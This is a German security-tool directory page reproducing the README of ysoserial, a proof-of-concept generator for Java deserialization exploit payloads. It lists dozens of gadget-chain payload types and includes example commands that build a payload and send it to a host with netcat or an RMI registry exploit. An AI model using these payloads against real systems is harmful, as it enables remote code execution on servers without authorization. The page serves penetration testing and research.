Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ysoserial — Ein Proof-of-Concept-Tool zum Generieren von Payloads, die unsichere Java-Objekt-Deserialisierung ausnutzen. | Kitploit
Tools/GitHubGitHub/frohoff/ysoserial
Exploit-FrameworksPayload-GenerierungSchwachstellenanalyseWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubfrohoff/ysoserial

ysoserial

Ein Proof-of-Concept-Tool zum Generieren von Payloads, die unsichere Java-Objekt-Deserialisierung ausnutzen.

Repository anzeigen
9.0k1.9kvor 8 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

Ein Proof-of-Concept-Tool zur Generierung von Payloads, die unsichere Java-Objektdeserialisierung ausnutzen.

logo

Beschreibung

Ursprünglich veröffentlicht als Teil des AppSecCali 2015 Talks "Marshalling Pickles: how deserializing objects will ruin your day" mit Gadget-Ketten für Apache Commons Collections (3.x und 4.x), Spring Beans/Core (4.x) und Groovy (2.3.x). Später aktualisiert um zusätzliche Gadget-Ketten für JRE <= 1.7u21 und einige andere Bibliotheken.

ysoserial ist eine Sammlung von Hilfsprogrammen und eigenschaftsorientierten Programmier-„Gadget-Ketten“, die in gängigen Java-Bibliotheken entdeckt wurden und unter den richtigen Bedingungen Java-Anwendungen ausnutzen können, die eine unsichere Deserialisierung von Objekten durchführen. Das Hauptprogramm nimmt einen benutzerdefinierten Befehl entgegen, verpackt ihn in die benutzerdefinierte Gadget-Kette und serialisiert diese Objekte dann nach stdout. Wenn eine Anwendung, die die erforderlichen Gadgets im Classpath hat, diese Daten unsicher deserialisiert, wird die Kette automatisch aufgerufen und der Befehl auf dem Anwendungshost ausgeführt.

Es sollte beachtet werden, dass die Schwachstelle in der Anwendung liegt, die eine unsichere Deserialisierung durchführt, und NICHT darin, Gadgets im Classpath zu haben.

Haftungsausschluss

Diese Software wurde ausschließlich zu Zwecken der akademischen Forschung und für die Entwicklung effektiver Abwehrtechniken erstellt und ist nicht dazu gedacht, Systeme anzugreifen, außer wenn dies ausdrücklich autorisiert ist. Die Projektbetreuer übernehmen keine Verantwortung oder Haftung für Missbrauch der Software. Verwenden Sie sie verantwortungsbewusst.

Verwendung

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Beispiele

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Installation

GitHub release

Laden Sie das neueste Release-JAR von den GitHub-Releases herunter.

Erstellung

Erfordert Java 1.7+ und Maven 3.x+

mvn clean package -DskipTests

Code-Status

Build Status Build status

Mitwirken

  1. Forken Sie es
  2. Erstellen Sie Ihren Feature-Branch (git checkout -b my-new-feature)
  3. Committen Sie Ihre Änderungen (git commit -am 'Add some feature')
  4. Pushen Sie auf den Branch (git push origin my-new-feature)
  5. Erstellen Sie einen neuen Pull Request

Siehe auch

  • Java-Deserialization-Cheat-Sheet: Informationen zu Schwachstellen, Tools, Blogs/Write-Ups usw.
  • marshalsec: ähnliches Projekt für verschiedene Java-Deserialisierungsformate/-bibliotheken
  • ysoserial.net: ähnliches Projekt für .NET-Deserialisierung
Tool herunterladen